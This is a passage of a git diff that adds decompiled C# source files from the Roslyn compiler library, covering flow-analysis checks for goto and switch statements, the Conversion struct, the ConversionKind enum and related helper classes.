start3 && start2 < start3 && ((Dictionary)(object)_labelsDefined)[node.Label] == current.Item2) + { + base.Diagnostics.Add(ErrorCode.ERR_GoToBackwardJumpOverUsingVar, location); + break; + } + } + return base.VisitGotoStatement(node); + } + + protected override void VisitSwitchSection(BoundSwitchSection node, bool isLastSection) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + base.VisitSwitchSection(node, isLastSection); + if (State.Alive) + { + SyntaxNode syntax = node.SwitchLabels.Last().Syntax; + base.Diagnostics.Add(isLastSection ? ErrorCode.ERR_SwitchFallOut : ErrorCode.ERR_SwitchFallThrough, (Location)new SourceLocation(syntax), ((object)syntax).ToString()); + } + } + + public override BoundNode VisitSwitchStatement(BoundSwitchStatement node) + { + ImmutableArray.Enumerator enumerator = node.SwitchSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.SwitchLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundSwitchLabel current = enumerator2.Current; + ((Dictionary)(object)_labelsDefined)[current.Label] = node; + } + } + return base.VisitSwitchStatement(node); + } + + public override BoundNode VisitBlock(BoundBlock node) + { + BoundBlock currentBlock = _currentBlock; + _currentBlock = node; + int count = _usingDeclarations.Count; + ImmutableArray.Enumerator enumerator = node.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (current.IsUsing) + { + _usingDeclarations.Add((current, node)); + } + } + BoundNode result = base.VisitBlock(node); + _usingDeclarations.Clip(count); + _currentBlock = currentBlock; + return result; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Conversion.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Conversion.cs new file mode 100644 index 0000000..bd9b7c7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Conversion.cs @@ -0,0 +1,734 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public readonly struct Conversion : IEquatable, IConvertibleConversion +{ + private abstract class UncommonData + { + } + + private sealed class MethodUncommonData : UncommonData + { + public static readonly MethodUncommonData NoApplicableOperators = new MethodUncommonData(isExtensionMethod: false, isArrayIndex: false, UserDefinedConversionResult.NoApplicableOperators(ImmutableArray.Empty), null); + + internal readonly MethodSymbol? _conversionMethod; + + internal readonly UserDefinedConversionResult _conversionResult; + + private const byte IsExtensionMethodMask = 1; + + private const byte IsArrayIndexMask = 2; + + private readonly byte _flags; + + internal bool IsExtensionMethod => (_flags & 1) != 0; + + internal bool IsArrayIndex => (_flags & 2) != 0; + + public MethodUncommonData(bool isExtensionMethod, bool isArrayIndex, UserDefinedConversionResult conversionResult, MethodSymbol? conversionMethod) + { + _conversionMethod = conversionMethod; + _conversionResult = conversionResult; + _flags = (isExtensionMethod ? ((byte)1) : ((byte)0)); + if (isArrayIndex) + { + _flags |= 2; + } + } + } + + private class NestedUncommonData : UncommonData + { + internal readonly ImmutableArray _nestedConversionsOpt; + + public NestedUncommonData(ImmutableArray nestedConversions) + { + _nestedConversionsOpt = nestedConversions; + } + } + + private sealed class DeconstructionUncommonData : UncommonData + { + internal readonly DeconstructMethodInfo DeconstructMethodInfo; + + internal readonly ImmutableArray<(BoundValuePlaceholder? placeholder, BoundExpression? conversion)> DeconstructConversionInfo; + + internal DeconstructionUncommonData(DeconstructMethodInfo deconstructMethodInfoOpt, ImmutableArray<(BoundValuePlaceholder? placeholder, BoundExpression? conversion)> deconstructConversionInfo) + { + DeconstructMethodInfo = deconstructMethodInfoOpt; + DeconstructConversionInfo = deconstructConversionInfo; + } + } + + private sealed class CollectionExpressionUncommonData : NestedUncommonData + { + internal readonly CollectionExpressionTypeKind CollectionExpressionTypeKind; + + internal readonly TypeSymbol? ElementType; + + internal CollectionExpressionUncommonData(CollectionExpressionTypeKind collectionExpressionTypeKind, TypeSymbol? elementType, ImmutableArray elementConversions) + : base(elementConversions) + { + CollectionExpressionTypeKind = collectionExpressionTypeKind; + ElementType = elementType; + } + } + + private static class ConversionSingletons + { + internal static ImmutableArray IdentityUnderlying = ImmutableArray.Create(Identity); + + internal static ImmutableArray ImplicitConstantUnderlying = ImmutableArray.Create(ImplicitConstant); + + internal static ImmutableArray ImplicitNumericUnderlying = ImmutableArray.Create(ImplicitNumeric); + + internal static ImmutableArray ExplicitNumericUnderlying = ImmutableArray.Create(ExplicitNumeric); + + internal static ImmutableArray ExplicitEnumerationUnderlying = ImmutableArray.Create(ExplicitEnumeration); + + internal static ImmutableArray PointerToIntegerUnderlying = ImmutableArray.Create(PointerToInteger); + } + + private readonly ConversionKind _kind; + + private readonly UncommonData? _uncommonData; + + internal static readonly Conversion ExplicitNullableWithExplicitEnumerationUnderlying; + + internal static readonly Conversion ExplicitNullableWithPointerToIntegerUnderlying; + + internal static readonly Conversion ExplicitNullableWithIdentityUnderlying; + + internal static readonly Conversion ExplicitNullableWithImplicitNumericUnderlying; + + internal static readonly Conversion ExplicitNullableWithExplicitNumericUnderlying; + + internal static readonly Conversion ExplicitNullableWithImplicitConstantUnderlying; + + internal static readonly Conversion ImplicitNullableWithExplicitEnumerationUnderlying; + + internal static readonly Conversion ImplicitNullableWithPointerToIntegerUnderlying; + + internal static readonly Conversion ImplicitNullableWithIdentityUnderlying; + + internal static readonly Conversion ImplicitNullableWithImplicitNumericUnderlying; + + internal static readonly Conversion ImplicitNullableWithExplicitNumericUnderlying; + + internal static readonly Conversion ImplicitNullableWithImplicitConstantUnderlying; + + internal static Conversion UnsetConversion => new Conversion(ConversionKind.UnsetConversionKind); + + internal static Conversion NoConversion => new Conversion(ConversionKind.NoConversion); + + internal static Conversion Identity => new Conversion(ConversionKind.Identity); + + internal static Conversion ImplicitConstant => new Conversion(ConversionKind.ImplicitConstant); + + internal static Conversion ImplicitNumeric => new Conversion(ConversionKind.ImplicitNumeric); + + internal static Conversion ImplicitReference => new Conversion(ConversionKind.ImplicitReference); + + internal static Conversion ImplicitEnumeration => new Conversion(ConversionKind.ImplicitEnumeration); + + internal static Conversion ImplicitThrow => new Conversion(ConversionKind.ImplicitThrow); + + internal static Conversion ObjectCreation => new Conversion(ConversionKind.ObjectCreation); + + internal static Conversion CollectionExpression => new Conversion(ConversionKind.CollectionExpression); + + internal static Conversion AnonymousFunction => new Conversion(ConversionKind.AnonymousFunction); + + internal static Conversion Boxing => new Conversion(ConversionKind.Boxing); + + internal static Conversion NullLiteral => new Conversion(ConversionKind.NullLiteral); + + internal static Conversion DefaultLiteral => new Conversion(ConversionKind.DefaultLiteral); + + internal static Conversion NullToPointer => new Conversion(ConversionKind.ImplicitNullToPointer); + + internal static Conversion PointerToVoid => new Conversion(ConversionKind.ImplicitPointerToVoid); + + internal static Conversion PointerToPointer => new Conversion(ConversionKind.ExplicitPointerToPointer); + + internal static Conversion PointerToInteger => new Conversion(ConversionKind.ExplicitPointerToInteger); + + internal static Conversion IntegerToPointer => new Conversion(ConversionKind.ExplicitIntegerToPointer); + + internal static Conversion Unboxing => new Conversion(ConversionKind.Unboxing); + + internal static Conversion ExplicitReference => new Conversion(ConversionKind.ExplicitReference); + + internal static Conversion IntPtr => new Conversion(ConversionKind.IntPtr); + + internal static Conversion ExplicitEnumeration => new Conversion(ConversionKind.ExplicitEnumeration); + + internal static Conversion ExplicitNumeric => new Conversion(ConversionKind.ExplicitNumeric); + + internal static Conversion ImplicitDynamic => new Conversion(ConversionKind.ImplicitDynamic); + + internal static Conversion ExplicitDynamic => new Conversion(ConversionKind.ExplicitDynamic); + + internal static Conversion InterpolatedString => new Conversion(ConversionKind.InterpolatedString); + + internal static Conversion InterpolatedStringHandler => new Conversion(ConversionKind.InterpolatedStringHandler); + + internal static Conversion Deconstruction => new Conversion(ConversionKind.Deconstruction); + + internal static Conversion PinnedObjectToPointer => new Conversion(ConversionKind.PinnedObjectToPointer); + + internal static Conversion ImplicitPointer => new Conversion(ConversionKind.ImplicitPointer); + + internal static Conversion FunctionType => new Conversion(ConversionKind.FunctionType); + + internal static Conversion InlineArray => new Conversion(ConversionKind.InlineArray); + + internal static ImmutableArray IdentityUnderlying => ConversionSingletons.IdentityUnderlying; + + internal static ImmutableArray ImplicitConstantUnderlying => ConversionSingletons.ImplicitConstantUnderlying; + + internal static ImmutableArray ImplicitNumericUnderlying => ConversionSingletons.ImplicitNumericUnderlying; + + internal static ImmutableArray ExplicitNumericUnderlying => ConversionSingletons.ExplicitNumericUnderlying; + + internal static ImmutableArray ExplicitEnumerationUnderlying => ConversionSingletons.ExplicitEnumerationUnderlying; + + internal static ImmutableArray PointerToIntegerUnderlying => ConversionSingletons.PointerToIntegerUnderlying; + + internal ConversionKind Kind => _kind; + + internal bool IsExtensionMethod + { + get + { + if (_uncommonData is MethodUncommonData methodUncommonData) + { + return methodUncommonData.IsExtensionMethod; + } + return false; + } + } + + internal bool IsArrayIndex + { + get + { + if (_uncommonData is MethodUncommonData methodUncommonData) + { + return methodUncommonData.IsArrayIndex; + } + return false; + } + } + + internal ImmutableArray UnderlyingConversions + { + get + { + if (_uncommonData is NestedUncommonData nestedUncommonData) + { + return nestedUncommonData._nestedConversionsOpt; + } + return default(ImmutableArray); + } + } + + internal MethodSymbol? Method + { + get + { + UncommonData uncommonData = _uncommonData; + if (!(uncommonData is MethodUncommonData methodUncommonData)) + { + if (uncommonData is DeconstructionUncommonData deconstructionUncommonData && deconstructionUncommonData.DeconstructMethodInfo.Invocation is BoundCall boundCall) + { + return boundCall.Method; + } + } + else + { + if ((object)methodUncommonData._conversionMethod != null) + { + return methodUncommonData._conversionMethod; + } + UserDefinedConversionResult conversionResult = methodUncommonData._conversionResult; + if (conversionResult.Kind == UserDefinedConversionResultKind.Valid) + { + return conversionResult.Results[conversionResult.Best].Operator; + } + } + return null; + } + } + + internal TypeParameterSymbol? ConstrainedToTypeOpt + { + get + { + if (_uncommonData is MethodUncommonData { _conversionMethod: null, _conversionResult: { Kind: UserDefinedConversionResultKind.Valid } conversionResult }) + { + return conversionResult.Results[conversionResult.Best].ConstrainedToTypeOpt; + } + return null; + } + } + + internal DeconstructMethodInfo DeconstructionInfo => ((DeconstructionUncommonData)_uncommonData)?.DeconstructMethodInfo ?? default(DeconstructMethodInfo); + + internal ImmutableArray<(BoundValuePlaceholder? placeholder, BoundExpression? conversion)> DeconstructConversionInfo => ((DeconstructionUncommonData)_uncommonData)?.DeconstructConversionInfo ?? default(ImmutableArray<(BoundValuePlaceholder, BoundExpression)>); + + internal bool IsValid + { + get + { + if (!Exists) + { + return false; + } + if (_uncommonData is NestedUncommonData { _nestedConversionsOpt: { IsDefault: false } nestedConversionsOpt }) + { + ImmutableArray.Enumerator enumerator = nestedConversionsOpt.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!enumerator.Current.IsValid) + { + return false; + } + } + return true; + } + if (IsUserDefined && (object)Method == null) + { + MethodUncommonData obj = _uncommonData as MethodUncommonData; + if (obj == null) + { + return false; + } + return obj._conversionResult.Kind == UserDefinedConversionResultKind.Valid; + } + return true; + } + } + + public bool Exists => Kind != ConversionKind.NoConversion; + + public bool IsImplicit => Kind.IsImplicitConversion(); + + public bool IsExplicit + { + get + { + if (Exists) + { + return !IsImplicit; + } + return false; + } + } + + public bool IsIdentity => Kind == ConversionKind.Identity; + + public bool IsStackAlloc + { + get + { + if (Kind != ConversionKind.StackAllocToPointerType) + { + return Kind == ConversionKind.StackAllocToSpanType; + } + return true; + } + } + + public bool IsNumeric + { + get + { + if (Kind != ConversionKind.ImplicitNumeric) + { + return Kind == ConversionKind.ExplicitNumeric; + } + return true; + } + } + + public bool IsEnumeration + { + get + { + if (Kind != ConversionKind.ImplicitEnumeration) + { + return Kind == ConversionKind.ExplicitEnumeration; + } + return true; + } + } + + public bool IsThrow => Kind == ConversionKind.ImplicitThrow; + + public bool IsObjectCreation => Kind == ConversionKind.ObjectCreation; + + public bool IsCollectionExpression => Kind == ConversionKind.CollectionExpression; + + public bool IsSwitchExpression => Kind == ConversionKind.SwitchExpression; + + public bool IsConditionalExpression => Kind == ConversionKind.ConditionalExpression; + + public bool IsInterpolatedString => Kind == ConversionKind.InterpolatedString; + + public bool IsInterpolatedStringHandler => Kind == ConversionKind.InterpolatedStringHandler; + + public bool IsInlineArray => Kind == ConversionKind.InlineArray; + + public bool IsNullable + { + get + { + if (Kind != ConversionKind.ImplicitNullable) + { + return Kind == ConversionKind.ExplicitNullable; + } + return true; + } + } + + public bool IsTupleLiteralConversion + { + get + { + if (Kind != ConversionKind.ImplicitTupleLiteral) + { + return Kind == ConversionKind.ExplicitTupleLiteral; + } + return true; + } + } + + public bool IsTupleConversion + { + get + { + if (Kind != ConversionKind.ImplicitTuple) + { + return Kind == ConversionKind.ExplicitTuple; + } + return true; + } + } + + public bool IsReference + { + get + { + if (Kind != ConversionKind.ImplicitReference) + { + return Kind == ConversionKind.ExplicitReference; + } + return true; + } + } + + public bool IsUserDefined => Kind.IsUserDefinedConversion(); + + public bool IsBoxing => Kind == ConversionKind.Boxing; + + public bool IsUnboxing => Kind == ConversionKind.Unboxing; + + public bool IsNullLiteral => Kind == ConversionKind.NullLiteral; + + public bool IsDefaultLiteral => Kind == ConversionKind.DefaultLiteral; + + public bool IsDynamic => Kind.IsDynamic(); + + public bool IsConstantExpression => Kind == ConversionKind.ImplicitConstant; + + public bool IsAnonymousFunction => Kind == ConversionKind.AnonymousFunction; + + public bool IsMethodGroup => Kind == ConversionKind.MethodGroup; + + public bool IsPointer => Kind.IsPointerConversion(); + + public bool IsIntPtr => Kind == ConversionKind.IntPtr; + + public IMethodSymbol? MethodSymbol => Method.GetPublicSymbol(); + + public ITypeSymbol? ConstrainedToType => (ITypeSymbol?)(object)ConstrainedToTypeOpt.GetPublicSymbol(); + + internal LookupResultKind ResultKind + { + get + { + UserDefinedConversionResult userDefinedConversionResult = (_uncommonData as MethodUncommonData)?._conversionResult ?? default(UserDefinedConversionResult); + switch (userDefinedConversionResult.Kind) + { + case UserDefinedConversionResultKind.Valid: + return LookupResultKind.Viable; + case UserDefinedConversionResultKind.NoBestSourceType: + case UserDefinedConversionResultKind.NoBestTargetType: + case UserDefinedConversionResultKind.Ambiguous: + return LookupResultKind.OverloadResolutionFailure; + case UserDefinedConversionResultKind.NoApplicableOperators: + if (userDefinedConversionResult.Results.IsDefaultOrEmpty) + { + if (Kind != ConversionKind.NoConversion) + { + return LookupResultKind.Viable; + } + return LookupResultKind.Empty; + } + return LookupResultKind.OverloadResolutionFailure; + default: + throw ExceptionUtilities.UnexpectedValue((object)userDefinedConversionResult.Kind); + } + } + } + + internal Conversion UserDefinedFromConversion => BestUserDefinedConversionAnalysis?.SourceConversion ?? NoConversion; + + internal Conversion UserDefinedToConversion => BestUserDefinedConversionAnalysis?.TargetConversion ?? NoConversion; + + internal ImmutableArray OriginalUserDefinedConversions + { + get + { + if (_uncommonData is MethodUncommonData { _conversionResult: { Kind: not UserDefinedConversionResultKind.NoApplicableOperators } conversionResult }) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = conversionResult.Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + UserDefinedConversionAnalysis current = enumerator.Current; + instance.Add(current.Operator); + } + return instance.ToImmutableAndFree(); + } + return ImmutableArray.Empty; + } + } + + internal UserDefinedConversionAnalysis? BestUserDefinedConversionAnalysis + { + get + { + if (_uncommonData is MethodUncommonData { _conversionResult: { Kind: UserDefinedConversionResultKind.Valid } conversionResult }) + { + return conversionResult.Results[conversionResult.Best]; + } + return null; + } + } + + internal static Conversion CreateCollectionExpressionConversion(CollectionExpressionTypeKind collectionExpressionTypeKind, TypeSymbol? elementType, ImmutableArray elementConversions) + { + return new Conversion(ConversionKind.CollectionExpression, new CollectionExpressionUncommonData(collectionExpressionTypeKind, elementType, elementConversions)); + } + + private Conversion(ConversionKind kind, UncommonData? uncommonData = null) + { + _kind = kind; + _uncommonData = uncommonData; + } + + internal Conversion(UserDefinedConversionResult conversionResult, bool isImplicit) + { + _kind = ((conversionResult.Kind == UserDefinedConversionResultKind.NoApplicableOperators) ? ConversionKind.NoConversion : (isImplicit ? ConversionKind.ImplicitUserDefined : ConversionKind.ExplicitUserDefined)); + _uncommonData = ((conversionResult.Kind == UserDefinedConversionResultKind.NoApplicableOperators && conversionResult.Results.IsEmpty) ? MethodUncommonData.NoApplicableOperators : new MethodUncommonData(isExtensionMethod: false, isArrayIndex: false, conversionResult, null)); + } + + internal Conversion(ConversionKind kind, MethodSymbol conversionMethod, bool isExtensionMethod) + { + _kind = kind; + _uncommonData = new MethodUncommonData(isExtensionMethod, isArrayIndex: false, default(UserDefinedConversionResult), conversionMethod); + } + + internal Conversion(ConversionKind kind, ImmutableArray nestedConversions) + { + _kind = kind; + _uncommonData = new NestedUncommonData(nestedConversions); + } + + internal Conversion(ConversionKind kind, DeconstructMethodInfo deconstructMethodInfo, ImmutableArray<(BoundValuePlaceholder? placeholder, BoundExpression? conversion)> deconstructConversionInfo) + { + _kind = kind; + _uncommonData = new DeconstructionUncommonData(deconstructMethodInfo, deconstructConversionInfo); + } + + internal Conversion SetConversionMethod(MethodSymbol conversionMethod) + { + return new Conversion(Kind, conversionMethod, IsExtensionMethod); + } + + internal Conversion SetArrayIndexConversionForDynamic() + { + return new Conversion(_kind, new MethodUncommonData(isExtensionMethod: false, isArrayIndex: true, default(UserDefinedConversionResult), null)); + } + + [Conditional("DEBUG")] + private static void AssertTrivialConversion(ConversionKind kind) + { + switch (kind) + { + } + } + + internal static Conversion GetTrivialConversion(ConversionKind kind) + { + return new Conversion(kind); + } + + internal static Conversion MakeStackAllocToPointerType(Conversion underlyingConversion) + { + return new Conversion(ConversionKind.StackAllocToPointerType, ImmutableArray.Create(underlyingConversion)); + } + + internal static Conversion MakeStackAllocToSpanType(Conversion underlyingConversion) + { + return new Conversion(ConversionKind.StackAllocToSpanType, ImmutableArray.Create(underlyingConversion)); + } + + internal static Conversion MakeNullableConversion(ConversionKind kind, Conversion nestedConversion) + { + return nestedConversion.Kind switch + { + ConversionKind.Identity => (kind == ConversionKind.ImplicitNullable) ? ImplicitNullableWithIdentityUnderlying : ExplicitNullableWithIdentityUnderlying, + ConversionKind.ImplicitConstant => (kind == ConversionKind.ImplicitNullable) ? ImplicitNullableWithImplicitConstantUnderlying : ExplicitNullableWithImplicitConstantUnderlying, + ConversionKind.ImplicitNumeric => (kind == ConversionKind.ImplicitNullable) ? ImplicitNullableWithImplicitNumericUnderlying : ExplicitNullableWithImplicitNumericUnderlying, + ConversionKind.ExplicitNumeric => (kind == ConversionKind.ImplicitNullable) ? ImplicitNullableWithExplicitNumericUnderlying : ExplicitNullableWithExplicitNumericUnderlying, + ConversionKind.ExplicitEnumeration => (kind == ConversionKind.ImplicitNullable) ? ImplicitNullableWithExplicitEnumerationUnderlying : ExplicitNullableWithExplicitEnumerationUnderlying, + ConversionKind.ExplicitPointerToInteger => (kind == ConversionKind.ImplicitNullable) ? ImplicitNullableWithPointerToIntegerUnderlying : ExplicitNullableWithPointerToIntegerUnderlying, + _ => new Conversion(kind, ImmutableArray.Create(nestedConversion)), + }; + } + + internal static Conversion MakeSwitchExpression(ImmutableArray innerConversions) + { + return new Conversion(ConversionKind.SwitchExpression, innerConversions); + } + + internal static Conversion MakeConditionalExpression(ImmutableArray innerConversions) + { + return new Conversion(ConversionKind.ConditionalExpression, innerConversions); + } + + [Conditional("DEBUG")] + internal void AssertUnderlyingConversionsChecked() + { + } + + [Conditional("DEBUG")] + internal void AssertUnderlyingConversionsCheckedRecursive() + { + ImmutableArray underlyingConversions = UnderlyingConversions; + if (!underlyingConversions.IsDefaultOrEmpty) + { + ImmutableArray.Enumerator enumerator = underlyingConversions.GetEnumerator(); + while (enumerator.MoveNext()) + { + _ = enumerator.Current; + } + } + _ = IsUserDefined; + } + + [Conditional("DEBUG")] + internal void MarkUnderlyingConversionsChecked() + { + } + + [Conditional("DEBUG")] + internal void MarkUnderlyingConversionsCheckedRecursive() + { + } + + internal CollectionExpressionTypeKind GetCollectionExpressionTypeKind(out TypeSymbol? elementType) + { + if (_uncommonData is CollectionExpressionUncommonData collectionExpressionUncommonData) + { + elementType = collectionExpressionUncommonData.ElementType; + return collectionExpressionUncommonData.CollectionExpressionTypeKind; + } + elementType = null; + return CollectionExpressionTypeKind.None; + } + + public CommonConversion ToCommonConversion() + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + IMethodSymbol val; + ITypeSymbol val2; + if (!IsUserDefined) + { + val = null; + val2 = null; + } + else + { + IMethodSymbol? methodSymbol = MethodSymbol; + ITypeSymbol constrainedToType = ConstrainedToType; + val2 = constrainedToType; + val = methodSymbol; + } + return new CommonConversion(Exists, IsIdentity, IsNumeric, IsReference, IsImplicit, IsNullable, val, val2); + } + + public override string ToString() + { + return Kind.ToString(); + } + + public override bool Equals(object? obj) + { + if (obj is Conversion) + { + return Equals((Conversion)obj); + } + return false; + } + + public bool Equals(Conversion other) + { + if (Kind == other.Kind) + { + return Method == other.Method; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Method, (int)Kind); + } + + public static bool operator ==(Conversion left, Conversion right) + { + return left.Equals(right); + } + + public static bool operator !=(Conversion left, Conversion right) + { + return !(left == right); + } + + static Conversion() + { + ExplicitNullableWithExplicitEnumerationUnderlying = new Conversion(ConversionKind.ExplicitNullable, ExplicitEnumerationUnderlying); + ExplicitNullableWithPointerToIntegerUnderlying = new Conversion(ConversionKind.ExplicitNullable, PointerToIntegerUnderlying); + ExplicitNullableWithIdentityUnderlying = new Conversion(ConversionKind.ExplicitNullable, IdentityUnderlying); + ExplicitNullableWithImplicitNumericUnderlying = new Conversion(ConversionKind.ExplicitNullable, ImplicitNumericUnderlying); + ExplicitNullableWithExplicitNumericUnderlying = new Conversion(ConversionKind.ExplicitNullable, ExplicitNumericUnderlying); + ExplicitNullableWithImplicitConstantUnderlying = new Conversion(ConversionKind.ExplicitNullable, ImplicitConstantUnderlying); + ImplicitNullableWithExplicitEnumerationUnderlying = new Conversion(ConversionKind.ImplicitNullable, ExplicitEnumerationUnderlying); + ImplicitNullableWithPointerToIntegerUnderlying = new Conversion(ConversionKind.ImplicitNullable, PointerToIntegerUnderlying); + ImplicitNullableWithIdentityUnderlying = new Conversion(ConversionKind.ImplicitNullable, IdentityUnderlying); + ImplicitNullableWithImplicitNumericUnderlying = new Conversion(ConversionKind.ImplicitNullable, ImplicitNumericUnderlying); + ImplicitNullableWithExplicitNumericUnderlying = new Conversion(ConversionKind.ImplicitNullable, ExplicitNumericUnderlying); + ImplicitNullableWithImplicitConstantUnderlying = new Conversion(ConversionKind.ImplicitNullable, ImplicitConstantUnderlying); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionGroup.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionGroup.cs new file mode 100644 index 0000000..542b210 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionGroup.cs @@ -0,0 +1,20 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal sealed class ConversionGroup +{ + internal readonly Conversion Conversion; + + internal readonly TypeWithAnnotations ExplicitType; + + internal bool IsExplicitConversion => ExplicitType.HasType; + + internal ConversionGroup(Conversion conversion, TypeWithAnnotations explicitType = default(TypeWithAnnotations)) + { + Conversion = conversion; + ExplicitType = explicitType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionKind.cs new file mode 100644 index 0000000..6ca70e6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionKind.cs @@ -0,0 +1,51 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum ConversionKind : byte +{ + UnsetConversionKind, + NoConversion, + Identity, + ImplicitNumeric, + ImplicitEnumeration, + ImplicitThrow, + ImplicitTupleLiteral, + ImplicitTuple, + ExplicitTupleLiteral, + ExplicitTuple, + ImplicitNullable, + NullLiteral, + ImplicitReference, + Boxing, + ImplicitPointerToVoid, + ImplicitNullToPointer, + ImplicitPointer, + ImplicitDynamic, + ExplicitDynamic, + ImplicitConstant, + ImplicitUserDefined, + AnonymousFunction, + MethodGroup, + FunctionType, + ExplicitNumeric, + ExplicitEnumeration, + ExplicitNullable, + ExplicitReference, + Unboxing, + ExplicitUserDefined, + ExplicitPointerToPointer, + ExplicitIntegerToPointer, + ExplicitPointerToInteger, + IntPtr, + InterpolatedString, + SwitchExpression, + ConditionalExpression, + Deconstruction, + StackAllocToPointerType, + StackAllocToSpanType, + PinnedObjectToPointer, + DefaultLiteral, + ObjectCreation, + CollectionExpression, + InterpolatedStringHandler, + InlineArray +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionKindExtensions.cs new file mode 100644 index 0000000..05e8f47 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ConversionKindExtensions.cs @@ -0,0 +1,90 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class ConversionKindExtensions +{ + public static bool IsDynamic(this ConversionKind conversionKind) + { + if (conversionKind != ConversionKind.ImplicitDynamic) + { + return conversionKind == ConversionKind.ExplicitDynamic; + } + return true; + } + + public static bool IsImplicitConversion(this ConversionKind conversionKind) + { + switch (conversionKind) + { + case ConversionKind.UnsetConversionKind: + case ConversionKind.NoConversion: + return false; + case ConversionKind.Identity: + case ConversionKind.ImplicitNumeric: + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ImplicitThrow: + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitTuple: + case ConversionKind.ImplicitNullable: + case ConversionKind.NullLiteral: + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + case ConversionKind.ImplicitPointerToVoid: + case ConversionKind.ImplicitNullToPointer: + case ConversionKind.ImplicitPointer: + case ConversionKind.ImplicitDynamic: + case ConversionKind.ImplicitConstant: + case ConversionKind.ImplicitUserDefined: + case ConversionKind.AnonymousFunction: + case ConversionKind.MethodGroup: + case ConversionKind.FunctionType: + case ConversionKind.InterpolatedString: + case ConversionKind.SwitchExpression: + case ConversionKind.ConditionalExpression: + case ConversionKind.Deconstruction: + case ConversionKind.StackAllocToPointerType: + case ConversionKind.StackAllocToSpanType: + case ConversionKind.DefaultLiteral: + case ConversionKind.ObjectCreation: + case ConversionKind.CollectionExpression: + case ConversionKind.InterpolatedStringHandler: + case ConversionKind.InlineArray: + return true; + case ConversionKind.ExplicitTupleLiteral: + case ConversionKind.ExplicitTuple: + case ConversionKind.ExplicitDynamic: + case ConversionKind.ExplicitNumeric: + case ConversionKind.ExplicitEnumeration: + case ConversionKind.ExplicitNullable: + case ConversionKind.ExplicitReference: + case ConversionKind.Unboxing: + case ConversionKind.ExplicitUserDefined: + case ConversionKind.ExplicitPointerToPointer: + case ConversionKind.ExplicitIntegerToPointer: + case ConversionKind.ExplicitPointerToInteger: + case ConversionKind.IntPtr: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)conversionKind); + } + } + + public static bool IsUserDefinedConversion(this ConversionKind conversionKind) + { + if (conversionKind == ConversionKind.ImplicitUserDefined || conversionKind == ConversionKind.ExplicitUserDefined) + { + return true; + } + return false; + } + + public static bool IsPointerConversion(this ConversionKind kind) + { + if (kind - 14 <= ConversionKind.Identity || kind - 30 <= ConversionKind.Identity) + { + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Conversions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Conversions.cs new file mode 100644 index 0000000..40e297b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Conversions.cs @@ -0,0 +1,399 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class Conversions : ConversionsBase +{ + private readonly Binder _binder; + + protected override CSharpCompilation Compilation => _binder.Compilation; + + protected override bool IsAttributeArgumentBinding => _binder.InAttributeArgument; + + protected override bool IsParameterDefaultValueBinding => _binder.InParameterDefaultValue; + + public Conversions(Binder binder) + : this(binder, 0, includeNullability: false, null) + { + } + + private Conversions(Binder binder, int currentRecursionDepth, bool includeNullability, Conversions otherNullabilityOpt) + : base(binder.Compilation.Assembly.CorLibrary, currentRecursionDepth, includeNullability, otherNullabilityOpt) + { + _binder = binder; + } + + protected override ConversionsBase CreateInstance(int currentRecursionDepth) + { + return new Conversions(_binder, currentRecursionDepth, IncludeNullability, 